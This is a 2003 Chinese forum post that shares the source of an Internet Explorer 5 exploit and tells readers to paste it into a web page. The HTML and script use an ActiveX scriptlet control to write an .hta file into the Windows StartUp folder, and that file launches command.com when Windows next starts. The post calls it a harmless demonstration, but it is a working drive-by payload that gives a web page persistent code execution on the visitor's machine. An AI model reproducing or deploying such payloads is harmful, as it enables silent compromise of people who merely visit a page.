无忧启动论坛

标题: 又是一个IE5.0漏洞 [打印本页]

作者: 清风客    时间: 2003-9-17 23:13
标题: 又是一个IE5.0漏洞
以下就是IE5最新BUG的源码,只要把它贴在你的网页上,再运行就行了。然后再启动windows,就看到它的作用了。(这只是一个例子,没有什么作用。)
BTW:如果是中文WINDOWS的话,,“StartUp“这个可要改成“启动“
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\windows\\Start Menu\\Programs\\StartUp\\guninski.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert('Written by Georgi Guninski http://www.nat.bg/~joro');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();
</SCRIPT>
</object>





欢迎光临 无忧启动论坛 (http://wuyou.net/) Powered by Discuz! X3.3